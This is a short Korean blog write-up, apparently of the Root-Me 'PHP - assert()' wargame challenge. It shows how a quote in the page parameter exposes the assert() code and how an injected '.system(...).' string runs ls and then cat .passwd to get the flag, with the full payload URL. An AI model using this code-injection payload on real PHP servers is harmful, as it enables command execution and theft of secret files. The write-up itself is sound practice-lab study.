rootme - PHP - assert()

2021. 4. 23. 17:04WarGame/Rootme

 

php의 assert() 함수를 통해서 푸는거같은데, 저는 그냥 command injection 과 같이 비슷한 느낌으로 풀이를 진행했습니다.

 

< challenge01.root-me.org/web-serveur/ch47/?page=123

page명을 이상하게 바꾸어서 전송하게되면 아래와 같이 나옵니다.

 

에러를 강제로 만들어보기 위해서 %27 --> ' 를 삽입해보면

 

 

 

 

Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in /challenge/web-serveur/ch47/index.php(8) : assert code on line 1 Catchable fatal error: assert(): Failure evaluating code: strpos('includes/1234'.php', '..') === false in /challenge/web-serveur/ch47/index.php on line 8

위와 같이 나옵니다.

 

대충 구문을 맞춰서 system코드를 실행시켜보기 위해서 system(ls)를 삽입해보았더니

 

ls 명령어가 동작하는 것을 확인했고, 

 

includes index.php 'includes/1234'.system(ls).'.php'File does not exist

 

 

 

 

처음 문제에서 요구한 .passwd 를 읽기 위해서

cat .passwd 구문을 삽입해주면

 

> challenge01.root-me.org/web-serveur/ch47/?page=1234%27.system(%22cat%20.passwd%22).%27

 

 

flag 획득이 가능합니다 :)

 

'WarGame > Rootme' 카테고리의 다른 글

rootme - ELF x86 - 0 protection  (0) 2021.04.26
rootme - PHP - register globals  (0) 2021.04.25
rootme - Javascript - Obfuscation 1  (0) 2021.03.29
rootme - JSON Web Token (JWT) - Introduction  (0) 2021.03.14
rootme - Insecure Code Management  (0) 2021.03.14